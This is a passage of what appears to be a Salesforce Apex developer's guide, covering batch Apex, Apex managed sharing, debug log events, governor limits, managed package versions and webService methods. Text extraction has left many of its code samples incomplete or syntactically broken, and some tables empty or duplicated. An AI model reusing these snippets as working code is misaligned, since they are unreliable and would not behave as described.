during execution of the batch job. For example, if you changed the value of initialState in execute, the second chunk
of processed records would not be able to access the new value: only the initial value would be accessible.
156
Batch Apex Using Batch Apex
insert accns;
Test.StartTest();
OwnerReassignment reassign = new OwnerReassignment();
reassign.query='SELECT ID, Name, Ownerid
FROM Account
WHERE ownerid=\'' + u.id + '\'
LIMIT=200';
reassign.email='admin@acme.com';
reassign.fromUserId = u.Id;
reassign.toUser.Id = u2.Id;
ID batchprocessid = Database.executeBatch(reassign);
Test.StopTest();
System.AssertEquals(database.countquery('SELECT count()'
+' FROM Account WHERE ownerid=:u2ID'), 200);
}
}
• A maximum of 50 million records can be returned in the Database.QueryLocator object. If more than 50 million
records are returned, the batch job is immediately terminated and marked as Failed.
• If no size is specified with the optional scope parameter, Salesforce.com chunks the records returned by the QueryLocator
into batches of 200, and then passes each batch to the execute method. Apex governor limits are reset for each execution
of execute.
• The start, execute and finish methods can implement only one callout in each method.
157
Batch Apex Understanding Apex Managed Sharing
• Use Database.Stateful with the class definition if you want to share variables or data across job transactions. Otherwise,
all instance variables are reset to their initial state at the start of each transaction.
• Methods declared as future are not allowed in classes that implement the Database.Batchable interface.
• Methods declared as future cannot be called from a batch Apex class.
• You cannot call the Database.executeBatch method from within any batch Apex method.
• You cannot use the getContent and getContentAsPDF PageReference methods in a batch job.
• In the event of a catastrophic failure such as a service outage, any operations in progress are marked as Failed. You should
run the batch job again to correct any errors.
• When a batch Apex job is run, email notifications are sent either to the user who submitted the batch job, or, if the code
is included in a managed package and the subscribing organization is running the batch job, the email is sent to the recipient
listed in the Apex Exception Notification Recipient field.
• Each method execution uses the standard governor limits anonymous block, Visualforce controller, or WSDL method.
• Each batch Apex invocation creates an AsyncApexJob record. Use the ID of this record to construct a SOQL query to
retrieve the job’s status, number of errors, progress, and submitter. For more information about the AsyncApexJob object,
see AsyncApexJob in the Web Services API Developer's Guide.
• All methods in the class must be defined as global.
• For a sharing recalculation, Salesforce.com recommends that the execute method delete and then re-create all Apex
managed sharing for the records in the batch. This ensures the sharing is accurate and complete.
See Also:
Exception Statements
Understanding Execution Governors and Limits
Understanding Sharing
Understanding Sharing
Sharing enables record-level access control for all custom objects, as well as many standard objects (such as Account, Contact,
Opportunity and Case). Administrators first set an object’s organization-wide default sharing access level, and then grant
additional access based on record ownership, the role hierarchy, sharing rules, and manual sharing. Developers can then use
Apex managed sharing to grant additional access programmatically with Apex. Most sharing for a record is maintained in a
related sharing object, similar to an access control list (ACL) found in other platforms.
Types of Sharing
Salesforce.com has the following types of sharing:
158
Batch Apex Understanding Sharing
Role Hierarchy
The role hierarchy enables users above another user in the hierarchy to have the same level of access to records
owned by or shared with users below. Consequently, users above a record owner in the role hierarchy are also
implicitly granted Full Access to the record, though this behavior can be disabled for specific custom objects. The
role hierarchy is not maintained with sharing records. Instead, role hierarchy access is derived at runtime. For more
information, see “Controlling Access Using Hierarchies” in the Salesforce.com online help.
Sharing Rules
Sharing rules are used by administrators to automatically grant users within a given group or role access to records
owned by a specific group of users. Sharing rules cannot be added to a package and cannot be used to support
sharing logic for apps installed from Force.com AppExchange.
All implicit sharing added by Force.com managed sharing cannot be altered directly using the Salesforce.com user
interface, Web services API, or Apex.
Reason Field Value rowCause Value (Used in Apex or the Force.com API)
159
Batch Apex Understanding Sharing
Reason Field Value rowCause Value (Used in Apex or the Force.com API)
Owner Owner
Reason Field Value rowCause Value (Used in Apex or the Force.com API)
Reason Field Value rowCause Value (Used in Apex or the Force.com API)
The displayed reason for Apex managed sharing is defined by the developer.
Access Levels
When determining a user’s access to a record, the most permissive level of access is used. Most share objects support the
following access levels:
160
Batch Apex Sharing a Record Using Apex
Objects on the detail side of a master-detail relationship do not have an associated sharing object. The detail record’s access
is determined by the master’s sharing object and the relationship’s sharing setting. For more information, see “Custom Object
Security” in the Salesforce.com online help.
A share object includes records supporting all three types of sharing: Force.com managed sharing, user managed sharing, and
Apex managed sharing. Sharing granted to users implicitly through organization-wide defaults, the role hierarchy, and profile
permissions such as the “View All” and “Modify All” object-level permissions for the given object, “View All Data,” and
“Modify All Data” are not tracked with this object.
Every share object has the following properties:
This field must be set to an access level that is higher than the organization’s default access
level for the parent object. For more information, see Access Levels on page 160.
ParentID The ID of the object. This field cannot be updated.
RowCause The reason why the user or group is being granted access. The reason determines the type of
sharing, which controls who can alter the sharing record. This field cannot be updated.
UserOrGroupId The user or group IDs to which you are granting access. A group can be a public group, role,
or territory. This field cannot be updated.
For more information, see the individual sharing objects in the Web Services API Developer's Guide.
161
Batch Apex Sharing a Record Using Apex
162
Batch Apex Sharing a Record Using Apex
Important: The object’s organization-wide default access level must not be set to the most permissive access level.
For custom objects, this is Public Read/Write. For more information, see Access Levels on page 160.
Apex managed sharing must use an Apex sharing reason. Apex sharing reasons are a way for developers to track why they shared
a record with a user or group of users. Using multiple Apex sharing reasons simplifies the coding required to make updates
and deletions of sharing records. They also enable developers to share with the same user or group multiple times using different
reasons.
Apex sharing reasons are defined on an object's detail page. Each Apex sharing reason has a label and a name:
• The label displays in the Reason column when viewing the sharing for a record in the user interface. This allows users
and administrators to understand the source of the sharing. The label is also enabled for translation through the Translation
Workbench.
• The name is used when referencing the reason in the API and Apex.
All Apex sharing reason names have the following format:
MyReasonName__c
Schema.CustomObject__Share.rowCause.SharingReason__c
For example, an Apex sharing reason called Recruiter for an object called Job can be referenced as follows:
Schema.Job__Share.rowCause.Recruiter__c
163
Batch Apex Sharing a Record Using Apex
if(trigger.isInsert){
// Create a new list of sharing objects for Job
List<Job__Share> jobShrs = new List<Job__Share>();
// Set the Apex sharing reason for hiring manager and recruiter
recruiterShr.RowCause = Schema.Job__Share.RowCause.Recruiter__c;
hmShr.RowCause = Schema.Job__Share.RowCause.Hiring_Manager__c;
// Create counter
Integer i=0;
164
Batch Apex Recalculating Apex Managed Sharing
// Throw an error when the error is not related to trivial access level.
trigger.newMap.get(jobShrs[i].ParentId).
addError('Unable to grant sharing access due to following exception:
'
+ err.getMessage());
}
}
i++;
}
}
Important: The object’s organization-wide default access level must not be set to the most permissive access level.
For custom objects, this is Public Read/Write. For more information, see Access Levels on page 160.
You can execute this class from the custom object detail page where the Apex sharing reason is specified. An administrator
might need to recalculate the Apex managed sharing for an object if a locking issue prevented an Apex script from granting
access to a user as defined by the application’s logic. You can also use the Database.executeBatch method to
programmatically invoke an Apex managed sharing recalculation.
Note: Every time a custom object's organization-wide sharing default access level is updated, any Apex recalculation
classes defined for associated custom object are also executed.
To monitor or stop the execution of the Apex recalculation, click Your Name ➤ Setup ➤ Monitoring ➤ Apex Jobs. For
more information, see “Apex Job Queue” in the Salesforce.com online help.
165
Batch Apex Recalculating Apex Managed Sharing
The Database.Batchable interface is used for all batch Apex processes, including recalculating Apex managed sharing.
You can implement this interface more than once in your organization. For more information on the methods that must be
implemented, see Using Batch Apex on page 151.
Before creating an Apex managed sharing recalculation class, also consider the best practices.
// The executeBatch method is called for each chunk of records returned from start.
// This method must be global.
global void execute(Database.BatchableContext List<sObject> scope){
// Create a map for the chunk of records passed into method.
Map<ID, Job__c> jobMap = new Map<ID, Job__c>((List<Job__c>)scope);
// Locate all existing sharing records for the Job records in the batch.
// Only records using an Apex sharing reason for this app should be returned.
List<Job__Share> oldJobShrs = [select id from Job__Share where Id In
:jobMap.keySet() and
(rowCause = :Schema.Job__Share.rowCause.Recruiter__c or
rowCause = :Schema.Job__Share.rowCause.Hiring_Manager__c)];
// Construct new sharing records for the hiring manager and recruiter
// on each Job record.
for(Job__c job : jobMap.values()){
Job__Share jobHMShr = new Job__Share();
Job__Share jobRecShr = new Job__Share();
// Set the ID of user (hiring manager) on the Job record being granted access.
jobHMShr.UserOrGroupId = job.Hiring_Manager__c;
// The hiring manager on the job should always have 'Read Only' access.
jobHMShr.AccessLevel = 'Read';
// Set the rowCause to the Apex sharing reason for hiring manager.
// This establishes the sharing record as Apex managed sharing.
jobHMShr.RowCause = Schema.Job__Share.RowCause.Hiring_Manager__c;
// Set the ID of user (recruiter) on the Job record being granted access.
jobRecShr.UserOrGroupId = job.Recruiter__c;
166
Batch Apex Recalculating Apex Managed Sharing
jobRecShr.AccessLevel = 'Edit';
try {
// Delete the existing sharing records.
// This allows new sharing records to be written from scratch.
Delete oldJobShrs;
// Insert the new sharing records and capture the save result.
// The false parameter allows for partial processing if multiple records are
// passed into operation.
Database.SaveResult[] lsr = Database.insert(newJobShrs,false);
&& err.getMessage().contains('AccessLevel'))){
// Error is not related to trivial access level.
// Send an email to the Apex job's submitter.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
err.getMessage());
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}
}
}
} catch(DmlException e) {
// Send an email to the Apex job's submitter on failure.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
String[] toAddresses = new String[] {'admin@yourcompany.com'};
mail.setToAddresses(toAddresses);
mail.setSubject('Apex Sharing Recalculation Exception');
mail.setPlainTextBody
('The Apex sharing recalculation threw the following exception: ' +
e.getMessage());
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}
}
167
Batch Apex Recalculating Apex Managed Sharing
Test.startTest();
// Test that the start method from the batchable class returned
// the correct query locator.
// You must use the QueryLocator.getQuery method to retrieve a string representation
// of the query.
System.assertEquals(ql.getQuery(),
SELECT Id, Hiring_Manager__c, Recruiter__c from Job__c');
// Set variables for calling the executeBatch method from the batchable class:
// Number of chunks in the entire batch excution.
totalItems = 1;
168
Batch Apex Recalculating Apex Managed Sharing
// Query records that would be returned from the start method chunking
// of the query locator.
// No more than 200 records should be returned.
Map<ID, Job__c> jobMap = new Map<ID, JOB__c>(
[SELECT Id, Hiring_Manager__c, Recruiter__c FROM Job__c limit 200]);
// Set variables for calling the finish method from the batchable class:
// Number of chunks in the entire batch excution.
totalItems = 1;
// Number of chunks processed in the entire batch excution.
itemsProcessed = 1;
// Number of errors in the entire batch excution. Only one error per chunk.
errs = 0;
Test.stopTest();
}
169
Batch Apex Recalculating Apex Managed Sharing
170
Chapter 9
Debugging Apex
In this chapter ... Apex provides the following support for debugging code:
• Understanding the Debug Log • Understanding the Debug Log and the Using the System Log Console—tools
for debugging code
• Handling Uncaught Exceptions
• Handling Uncaught Exceptions—user-friendly error messages and stack
• Understanding Execution Governors
traces
and Limits
• Understanding Execution Governors and Limits—prevent runaway scripts
• Using Governor Limit Email from monopolizing shared resources
Warnings
• Using Governor Limit Email Warnings—used with the governor limits
171
Debugging Apex Understanding the Debug Log
18.0 DB,INFO;WORKFLOW,INFO;VALIDATION,INFO;CALLOUT,INFO;APEX_CODE,INFO;
APEX_PROFILING,INFO
In this example, the API version is 18.0, and the following debug log categories and levels have been set:
Category Level
Database INFO
Workflow INFO
Validation INFO
Callout INFO
Apex Code INFO
Apex Profiling INFO
172
Debugging Apex Understanding the Debug Log
Execution Units
An execution unit is equivalent to a transaction. It contains everything that occurred within the transaction. The execution
is delimited by EXECUTION_START and EXECUTION_FINISHED.
Code Units
A code unit is a discrete unit of work within a transaction. For example, a trigger is one unit of code, as is a webService
method, or a validation rule.
Note: A class is not a discrete unit of code.
Units of code are indicated by CODE_UNIT_STARTED and CODE_UNIT_FINISHED. Units of work can imbed other
units of work. For example:
EXECUTION_STARTED
CODE_UNIT_STARTED|[EXTERNAL]execute_anonymous_apex
CODE_UNIT_STARTED|[EXTERNAL]MyTrigger on Account trigger event BeforeInsert for null
CODE_UNIT_FINISHED <-- The trigger ends
CODE_UNIT_FINISHED <-- The executeAnonymous ends
EXECUTION_FINISHED
Units of code include, but are not limited to, the following:
• Triggers
• Workflow invocations and time-based workflow
• Validation rules
• Approval processes
• Apex lead convert
• @future method invocations
• Web service invocations
• executeAnonymous calls
• Visualforce property accesses on Apex controllers
• Visualforce actions on Apex controllers
• Execution of the batch Apex start and finish methods, as well as each execution of the execute method
• Execution of the Apex System.Schedule execute method
• Incoming email handling
Log Lines
Included inside the units of code. These indicate what code or rules are being executed, or messages being specifically
written to the debug log. For example:
Log lines are made up of a set of fields, delimited by a pipe (|). The format is:
• Timestamp—specified in the user's time zone, of the format HH:mm:ss.SSS
173
Debugging Apex Using the System Log Console
• Event identifier—the specific event that triggered the debug log being written to, such as SAVEPOINT_RESET or
VALIDATION_RULE, and any additional information logged with that event, such as the method name or the line
and character number where the code was executed.
20.0 APEX_CODE,DEBUG;APEX_PROFILING,INFO;CALLOUT,INFO;DB,INFO;
VALIDATION,INFO;WORKFLOW,INFO
Execute Anonymous: System.debug('Hello World!');
16:34:41.158|EXECUTION_STARTED
16:34:41.158|CODE_UNIT_STARTED|[EXTERNAL]|execute_anonymous_apex
16:34:41.161|LIMIT_USAGE_FOR_NS|[1]|SCRIPT_STATEMENTS|1|200000
16:34:41.161|METHOD_ENTRY|[1]|System.debug(ANY)
16:34:41.161|USER_DEBUG|[1]|DEBUG|Hello World!
16:34:41.162|METHOD_EXIT|[1]|System.debug(ANY)
16:34:41.162|CUMULATIVE_LIMIT_USAGE
16:34:41.162|LIMIT_USAGE_FOR_NS|SeattleTea|
Number of SOQL queries: 0 out of 100
Number of query rows: 0 out of 10000
Number of SOSL queries: 0 out of 20
Number of DML statements: 0 out of 100
Number of DML rows: 0 out of 10000
Number of script statements: 1 out of 200000
Maximum heap size: 0 out of 3000000
Number of callouts: 0 out of 10
Number of Email Invocations: 0 out of 10
Number of fields describes: 0 out of 100
Number of record type describes: 0 out of 100
Number of child relationships describes: 0 out of 100
Number of picklist describes: 0 out of 100
Number of future calls: 0 out of 10
Number of find similar calls: 0 out of 10
Number of System.runAs() invocations: 0 out of 20
16:34:41.162|CUMULATIVE_LIMIT_USAGE_END
16:34:41.162|CODE_UNIT_FINISHED|execute_anonymous_apex
16:34:41.162|EXECUTION_FINISHED
174
Debugging Apex Using the System Log Console
To learn about the different sections of the System Log console, see “ System Log Console Sections” in the Salesforce.com
online help.
To learn more about some typical ways you might use the System Log console, for example, evaluating Visualforce pages,
tracking DML in your transaction or monitoring performance, see “Using the System Log Console” in the Salesforce.com
online help.
When using the System Log console or monitoring a debug log, you can specify the level of information that gets included
in the log.
175
Debugging Apex Using the System Log Console
Log category
The type of information logged, such as information from Apex or workflow rules.
Log level
The amount of information logged.
Event type
The combination of log category and log level that specify which events get logged. Each event can log additional
information, such as the line and character number where the event started, fields associated with the event, duration of
the event in milliseconds, and so on.
• ERROR
• WARN
• INFO
• DEBUG
• FINE
• FINER
• FINEST
176
Debugging Apex Using the System Log Console
The event identifier is composed of the specific event that triggered the debug log being written to, such as SAVEPOINT_RESET
or VALIDATION_RULE, and any additional information logged with that event, such as the method name or the line and
character number where the code was executed.
In this example, the event identifier is made up of the following:
• Event name:
USER_DEBUG
[1]
DEBUG
Hello world!
The following log line is recorded when the test reaches line 5 in the code:
15:51:01.071|DML_BEGIN|[5]|Op:Insert|Type:Invoice_Statement__c|Rows:1
DML_BEGIN
177
Debugging Apex Using the System Log Console
[5]
Op:Insert
• Object name:
Type:Invoice_Statement__c
Rows:1
The following table lists the event types that are logged, what fields or other information get logged with each event, as well
as what combination of log level and category cause an event to be logged.
Event Name Fields or Information Logged With Category Logged Level Logged
Event
CALLOUT_REQUEST Line and character number of the event Callout INFO and above
in the code, request headers
CALLOUT_RESPONSE Line and character number of the event Callout INFO and above
in the code, response body
CODE_UNIT_FINISHED None Apex Code INFO and above
CODE_UNIT_STARTED Line and character number of the event Apex Code INFO and above
in the code, code unit name, such as
MyTrigger on Account trigger
event BeforeInsert for null
178
Debugging Apex Using the System Log Console
Event Name Fields or Information Logged With Category Logged Level Logged
Event
EXCEPTION_THROWN Line and character number of the event Apex Code INFO and above
in the code, exception type, message
EXECUTION_FINISHED None Apex Code INFO and above
EXECUTION_STARTED None Apex Code INFO and above
FATAL_ERROR Exception type, message, stack trace Apex Code ERROR and above
HEAP_ALLOCATE Line and character number of the event Apex Code FINEST
in the code, number of bytes
IDEAS_QUERY_EXECUTE Line and character number of the event Apex Code FINEST
in the code
LIMIT_USAGE_FOR_NS Namespace, following limits: Apex Profiling INFO and above
Number of SOQL queries
Number of query rows
Number of SOSL queries
Number of DML statements
Number of DML rows
Number of script statements
Maximum heap size
Number of callouts
Number of Email Invocations
Number of fields describes
Number of record type
describes
Number of child
relationships
describes
Number of picklist describes
Number of future calls
Number of find similar calls
Number of System.runAs()
invocations
METHOD_ENTRY Line and character number of the event Apex Code FINEST
in the code, method signature
METHOD_EXIT Line and character number of the event Apex Code FINEST
in the code, method signature
QUERY_MORE_ITERATIONS Line and character number of the event DB INFO and above
in the code, number of queryMore
iterations
SAVEPOINT_ROLLBACK Line and character number of the event DB INFO and above
in the code, Savepoint name
SAVEPOINT_SET Line and character number of the event DB INFO and above
in the code, Savepoint name
SLA_END Number of cases, load time, processing Workflow INFO and above
time, number of case milestones to
insert/update/delete, new trigger
SLA_EVAL_MILESTONE Milestone ID Workflow INFO and above
179
Debugging Apex Using the System Log Console
Event Name Fields or Information Logged With Category Logged Level Logged
Event
SLA_NULL_START_DATE None Workflow INFO and above
SLA_PROCESS_CASE Case ID Workflow INFO and above
SOQL_EXECUTE_BEGIN Line and character number of the event DB INFO and above
in the code, number of aggregations,
query source
SOQL_EXECUTE_END Line and character number of the event DB INFO and above
in the code, number of rows, duration
in milliseconds
SOSL_EXECUTE_BEGIN Line and character number of the event DB INFO and above
in the code, query source
SOSL_EXECUTE_END Line and character number of the event DB INFO and above
in the code, number of rows, duration
in milliseconds
STACK_FRAME_VARIABLE_LIST Frame number, variable list of the form: Apex Profiling FINE and above
Variable number | Value. For
example:
var1:50
var2:'Hello World'
STATEMENT_EXECUTE Line and character number of the event Apex Code FINEST
in the code
STATIC_VARIABLE_LIST Variable list of the form: Variable Apex Profiling FINE and above
number | Value. For example:
var1:50
var2:'Hello World'
180
Debugging Apex Using the System Log Console
Event Name Fields or Information Logged With Category Logged Level Logged
Event
VALIDATION_ERROR Error message Validation INFO and above
VALIDATION_FAIL None Validation INFO and above
VALIDATION_FORMULA Formula source, values Validation INFO and above
VALIDATION_PASS None Validation INFO and above
VALIDATION_RULE Rule name Validation INFO and above
VF_APEX_CALL Element name, method name, return Apex Code INFO and above
type
VF_PAGE_MESSAGE Message text Apex Code INFO and above
WF_ACTION Action description Workflow INFO and above
WF_ACTION_TASK Task subject, action ID, rule, owner, due Workflow INFO and above
date
WF_ACTIONS_END Summer of actions performed Workflow INFO and above
WF_APPROVAL Transition type, EntityName: Workflow INFO and above
NameField Id, process node name
181
Debugging Apex Debugging Apex API Calls
Event Name Fields or Information Logged With Category Logged Level Logged
Event
WF_NO_PROCESS_FOUND None Workflow INFO and above
WF_OUTBOUND_MSG EntityName: NameField Id, action Workflow INFO and above
ID, rule
WF_PROCESS_NODE Process name Workflow INFO and above
WF_REASSIGN_RECORD EntityName: NameField Id, owner Workflow INFO and above
WF_RESPONSE_NOTIFY Notifier name, notifier email, notifier Workflow INFO and above
template ID
WF_RULE_ENTRY_ORDER Integer, indicating order Workflow INFO and above
WF_RULE_EVAL_BEGIN Rule type Workflow INFO and above
WF_RULE_EVAL_END None Workflow INFO and above
WF_RULE_EVAL_VALUE Value Workflow INFO and above
WF_RULE_FILTER Filter criteria Workflow INFO and above
WF_RULE_INVOCATION EntityName: NameField Id Workflow INFO and above
WF_RULE_NOT_EVALUATED None Workflow INFO and above
WF_SOFT_REJECT Process name Workflow INFO and above
WF_SPOOL_ACTION_BEGIN Node type Workflow INFO and above
WF_TIME_TRIGGER EntityName: NameField Id, time Workflow INFO and above
action, time action container, evaluation
Datetime
WF_TIME_TRIGGERS_BEGIN None Workflow INFO and above
182
Debugging Apex Debugging Apex API Calls
In addition, the following log levels are still supported as part of the DebuggingHeader for backwards compatibility.
DB Includes log messages generated by calls to the System.debug method, as well as every
data manipulation language (DML) statement or inline SOQL or SOSL query.
PROFILE Includes log messages generated by calls to the System.debug method, every DML
statement or inline SOQL or SOSL query, and the entrance and exit of every user-defined
method. In addition, the end of the debug log contains overall profiling information for
the portions of the request that used the most resources, in terms of SOQL and SOSL
statements, DML operations, and Apex method invocations. These three sections list
the locations in the code that consumed the most time, in descending order of total
cumulative time, along with the number of times they were executed.
CALLOUT Includes the request-response XML that the server is sending and receiving from an
external Web service. This is useful when debugging issues related to using Force.com
Web services API calls.
DETAIL Includes all messages generated by the PROFILE level as well as the following:
• Variable declaration statements
• Start of loop executions
• All loop controls, such as break and continue
• Thrown exceptions *
• Static and class initialization code *
• Any changes in the with sharing context
The corresponding output header, DebuggingInfo, contains the resulting debug log. For more information, see
DebuggingHeader on page 459.
183
Debugging Apex Handling Uncaught Exceptions
184
Debugging Apex Understanding Execution Governors and Limits
1
Test limits apply individually to each testMethod.
2
In a SOQL query with parent-child relationship sub-queries, each parent-child relationship counts as an additional query.
These types of queries have a limit of three times the number for top-level queries. The row counts from these relationship
queries contribute to the row counts of the overall script execution.
3
These limits scale with trigger batch size as follows:
• For 1-40 records, the normal limits apply
• For 41-80 records, two times the normal limits apply
• For 81-120 records, three times the normal limits apply
• For 121-160 records, four times the normal limits apply
• For 161 or more records, five times the normal limits apply
4
Trigger context is 10,000 statements plus 200 times the number of records in the top level call. For example, a DML statement
that processes 200 records is subject to a limit of 10,000 + 200*200, which equals 50,000 statements. For a call with the future
annotation, the limit is 10,000 statements.
5
Recursive Apex that does not fire any triggers with insert, update, or delete statements exists in a single invocation,
with a single stack. Conversely, recursive Apex that fires a trigger spawns the trigger in a new Apex invocation, separate from
185
Debugging Apex Understanding Execution Governors and Limits
the invocation of the code that caused it to fire. Because spawning a new invocation of Apex is a more expensive operation
than a recursive call in a single invocation, there are tighter restrictions on the stack depth of these types of recursive calls.
6
These limits scale with trigger batch size. The limit is multiplied by the number of records submitted. For example, if your
batch process contains 200 records, your script may retrieve as many as 200,000 records.
7
Salesforce.com also imposes a limit on the number of future annotations: 200 method calls per full Salesforce.com user
license per 24 hours. This is an organization-wide limit. For example, suppose your organization has 5 full Salesforce.com
user licenses and 100 Customer Portal User. Your entire organization is limited to only 1,000 method calls every 24 hours (5
* 200, not 105.)
8
Batch Apex heap size is 6 MB; Email services heap size is 18 MB.
Use the Limits methods to determine the script execution limits for your code while it is running. For example, you can use
the getDMLStatements method to determine the number of DML statements that have already been called by your program,
or the getLimitDMLStatements method to determine the total number of DML statements available to your code in that
context.
For more efficient SOQL queries, particularly for queries inside of triggers, use selective (indexed) queries. Selective queries
filter on primary keys, foreign keys, names, audit dates (such as LastModifiedDate), or External ID fields. In large
organizations, non-selective queries could be stopped at runtime in order to prevent very long running operation times. If you
need them for your application, contact your salesforce.com representative.
Note: If you use a non-selective query in a trigger against an object that contains more than 100000 records an error
is generated. You should include indexed fields in the WHERE clause to avoid these exceptions.
Note: Static variable values are reset between API batches, but governor limits are not. Do not use static variables to
track state information on API batches, because Salesforce.com may break up a batch into smaller chunks than the
batch size you specify.
In addition to the execution governor limits, Apex has the following limits:
• Maximum number of characters for a class: 1 million
• Maximum number of characters for a trigger: 1 million
• Maximum amount of code used by all Apex scripts in an organization: 2 MB
Note: This limit does not apply to certified managed packages installed from AppExchange, (that is, an app that
has been marked AppExchange Certified). The code in those types of packages belong to a namespace unique
from the code in your organization. For more information on AppExchange Certified packages, see the Force.com
AppExchange online help.
This limit also does not apply to any code included in a class defined with the @isTest annotation.
• A user can have up to five query cursors open at a time. For example, if five cursors are open and a client application still
logged in as the same user attempts to open a new one, the oldest of the five cursors is released.
Note: Cursor limits for different Force.com features are tracked separately. For example, you can have five Apex
query cursors open, five batch cursors, and five Visualforce cursors at the same time.
• In a single transaction, you can only reference 10 unique namespaces. For example, suppose you have an object that executes
a class in a managed package when the object is updated. Then that class updates a second object, which in turn executes
a different class in a different package. Even though the second package wasn't accessed directly by the first, because it
occurs in the same transaction, it's included in the number of namespaces being accessed in a single transaction.
When defining email services, note the following:
• An email service only processes messages it receives at one of its addresses.
186
Debugging Apex Using Governor Limit Email Warnings
• Salesforce.com limits the total number of messages that all email services combined, including On-Demand Email-to-Case,
can process daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending
on how you configure the failure response settings for each email service. Salesforce.com calculates the limit by multiplying
the number of user licenses by 1,000. For example, if you have ten licences, your organization can process up to 10,000
email messages a day.
• Email service addresses that you create in your sandbox cannot be copied to your production organization.
• For each email service, you can tell Salesforce.com to send error email messages to a specified address instead of the sender's
email address.
• Email services rejects email messages and notifies the sender if the email (combined body text, body HTML and attachments)
exceeds approximately 10MB (varies depending on language and character set).
See Also:
What are the Limitations of Apex?
187
Chapter 10
Developing Apex in Managed Packages
In this chapter ... A package is a container for something as small as an individual component or
as large as a set of related apps. After creating a package, you can distribute it to
• Package Versions other Salesforce.com users and organizations, including those outside your
• Deprecating Apex company. An organization can create a single managed package that can be
• Behavior in Package Versions downloaded and installed by many different organizations. They differ from
unmanaged packages in that some components are locked, allowing the managed
package to be upgraded later. Unmanaged packages do not include locked
components and cannot be upgraded.
This section includes the following topics related to developing Apex in managed
packages:
• Package Versions
• Deprecating Apex
• Behavior in Package Versions
188
Developing Apex in Managed Packages Package Versions
Package Versions
A package version is a number that identifies the set of components uploaded in a package. The version number has the format
majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value
during every major release. The patchNumber is generated and updated only for a patch release. If there is no patchNumber,
it is assumed to be zero (0). Patch versions are currently available through a pilot program. For information on enabling patch
versions for your organization, contact salesforce.com.
Unmanaged packages are not upgradeable, so each package version is simply a set of components for distribution. A package
version has more significance for managed packages. Packages can exhibit different behavior for different versions. Publishers
can use package versions to evolve the components in their managed packages gracefully by releasing subsequent package
versions without breaking existing customer integrations using the package.
When an existing subscriber installs a new package version, there is still only one instance of each component in the package,
but the components can emulate older versions. For example, a subscriber may be using a managed package that contains an
Apex class. If the publisher decides to deprecate a method in the Apex class and release a new package version, the subscriber
still sees only one instance of the Apex class after installing the new version. However, this Apex class can still emulate the
previous version for any code that references the deprecated method in the older version.
Note the following when developing Apex in managed packages:
• The code contained in an Apex script that is part of a managed package is automatically obfuscated and cannot be viewed
in an installing organization. The only exceptions are methods declared as global, meaning that the method signatures can
be viewed in an installing organization.
• Managed packages receive a unique namespace. This namespace is automatically prepended to your script class names,
methods, variables, and so on, which helps prevent duplicate names in the installer's organization.
• In a single transaction, you can only reference 10 unique namespaces. For example, suppose you have an object that executes
a class in a managed package when the object is updated. Then that class updates a second object, which in turn executes
a different class in a different package. Even though the second package wasn't accessed directly by the first, because it
occurs in the same transaction, it's included in the number of namespaces being accessed in a single transaction.
• The code contained in an Apex script that is part of a managed package is automatically obfuscated and cannot be viewed
in an installing organization. The only exceptions are methods declared as global, meaning that the method signatures can
be viewed in an installing organization.
• Package developers can use the deprecated annotation to identify methods, classes, exceptions, enums, interfaces, and
variables that can no longer be referenced in subsequent releases of the managed package in which they reside. This is
useful when you are refactoring code in managed packages as the requirements evolve.
• You can write test methods that change the package version context to a different package version by using the system
method runAs.
• You cannot add a method to an interface or to an abstract or virtual class after the class has been uploaded in a Managed
- Released package version.
• An Apex script contained in an unmanaged package that explicitly references a namespace cannot be uploaded.
Deprecating Apex
Package developers can use the deprecated annotation to identify methods, classes, exceptions, enums, interfaces, and
variables that can no longer be referenced in subsequent releases of the managed package in which they reside. This is useful
when you are refactoring code in managed packages as the requirements evolve. After you upload another package version as
Managed - Released, new subscribers that install the latest package version cannot see the deprecated elements, while the
189
Developing Apex in Managed Packages Behavior in Package Versions
elements continue to function for existing subscribers and API integrations. A deprecated item, such as a method or a class,
can still be referenced internally by the package developer.
Note: You cannot use the deprecated annotation in Apex classes or triggers in unmanaged packages.
Package developers can use Managed - Beta package versions for evaluation and feedback with a pilot set of users in different
Salesforce.com organizations. If a developer deprecates an Apex identifier and then uploads a version of the package as Managed
- Beta, subscribers that install the package version still see the deprecated identifier in that package version. If the package
developer subsequently uploads a Managed - Released package version, subscribers will no longer see the deprecated identifier
in the package version after they install it.
for(Opportunity o : Trigger.new){
For a full list of methods that work with package versions, see Package Methods on page 306.
190
Developing Apex in Managed Packages Apex Code Items that Are Not Versioned
The request context is persisted if a class in the installed package invokes a method in another class in the package. For example,
a subscriber has installed a GeoReports package that contains CountryUtil and ContinentUtil Apex classes. The subscriber
creates a new GeoReportsEx class and uses the version settings to bind it to version 2.3 of the GeoReports package. If
GeoReportsEx invokes a method in ContinentUtil which internally invokes a method in CountryUtil, the request context is
propagated from ContinentUtil to CountryUtil and the Package.Version.Request variable in CountryUtil refers to version 2.3
of the GeoReports package.
Package developers can add the webService keyword, but once it has been added, it cannot be removed.
Note: You cannot deprecate webService methods or variables in managed package code.
191
Developing Apex in Managed Packages Testing Behavior in Package Versions
The following sample shows a trigger with different behavior for different package versions.
for(Opportunity o : Trigger.new){
@isTest
public class OppTriggerTests{
192
Developing Apex in Managed Packages Testing Behavior in Package Versions
193
Chapter 11
Exposing Apex Methods as Web Services
In this chapter ... You can expose your Apex methods so that external applications can access your
code and your application. To expose your Apex methods, use WebService
• WebService Methods Methods.
Tip: Apex Web services allow an external application to invoke Apex
methods through Web services. Apex callouts enable Apex to invoke
external web or HTTP services.
194
Exposing Apex Methods as Web Services WebService Methods
WebService Methods
Apex class methods can be exposed as custom Force.com Web services API calls. This allows an external application to invoke
an Apex web service to perform an action in Salesforce.com. Use the webService keyword to define these methods. For
example:
A developer of an external application can integrate with an Apex class containing webService methods by generating a
WSDL for the class. To generate a WSDL from an Apex class detail page:
1. In the application navigate to Your Name ➤ Setup ➤ Develop ➤ Apex Classes.
2. Click the name of a class that contains webService methods.
3. Click Generate WSDL.
195
Exposing Apex Methods as Web Services Considerations for Using the WebService Keyword
- Maps
- Sets
- Pattern objects
- Matcher objects
- Exception objects
• You must use the webService keyword with any member variables that you want to expose as part of a Web service. You
should not mark these member variables as static.
